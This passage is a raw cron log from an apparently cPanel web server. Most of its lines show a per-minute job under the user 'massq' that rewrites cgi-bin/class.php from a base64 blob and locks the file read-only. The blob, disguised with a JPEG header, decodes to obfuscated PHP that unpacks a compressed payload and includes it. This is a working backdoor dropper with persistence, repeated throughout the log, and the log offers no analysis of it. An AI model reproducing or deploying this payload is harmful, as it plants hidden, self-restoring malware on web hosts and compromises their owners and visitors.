d/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:45:01 server CROND[2304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:45:01 server CROND[2305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:45:01 server CROND[2306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:46:01 server CROND[2416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:47:01 server CROND[2479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:48:01 server CROND[2540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:49:01 server CROND[2691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:50:01 server CROND[2778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:50:01 server CROND[2780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:50:01 server CROND[2782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:50:01 server CROND[2783]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 04:50:01 server CROND[2781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 04:51:01 server CROND[2988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:52:01 server CROND[3057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:53:01 server CROND[3120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:54:01 server CROND[3270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:55:01 server CROND[3335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:55:01 server CROND[3336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:55:01 server CROND[3338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:56:01 server CROND[3449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:57:01 server CROND[3509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:57:01 server CROND[3510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 04:58:01 server CROND[3585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTR